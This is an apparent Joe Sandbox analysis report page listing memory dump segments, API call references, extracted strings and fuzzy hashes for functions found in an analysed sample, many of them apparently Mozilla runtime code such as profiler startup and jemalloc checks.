Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 0c8219482b316f664a09e4a269324ebdb225c9dd342e57c2911128be512b9782
Instruction ID: d45874fd3d3989f3c191e9c32b3dd3ed484fdea60833a2bd3124fad79ba5e19d
Opcode Fuzzy Hash: 0c8219482b316f664a09e4a269324ebdb225c9dd342e57c2911128be512b9782
Instruction Fuzzy Hash: 7BE012B993430653DE4077B0AC0EF2A329C6B1534DF080435FA09D2182FA25E8319A6E

Function 00298E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00298E52

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6ba47efe0061414f58acbe6ea532d33c0691e375f242b912933bd841221960c2
Instruction ID: c3ffecbd4d6889463df4d46a6dee27ef40a0d38bdafd93e03b0717f9ecda8744
Opcode Fuzzy Hash: 6ba47efe0061414f58acbe6ea532d33c0691e375f242b912933bd841221960c2
Instruction Fuzzy Hash: 40011930A14108EFCF05CF98C5A5BACBBB5EF05308F288098E9456B391C7756FA4DB95

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
[I %d/%d] profiler_init, xrefs: 6C66564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
GeckoMain, xrefs: 6C665554, 6C6655D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
wintrust.dll, xrefs: 6C6672CD
(, xrefs: 6C66768A
SHA256, xrefs: 6C666EC0

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

detoured.dll, xrefs: 6C6664DA
_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
nvdxgiwrap.dll, xrefs: 6C666513
nvd3d9wrap.dll, xrefs: 6C666500

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C6BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C6BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C6BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C6BC9D5
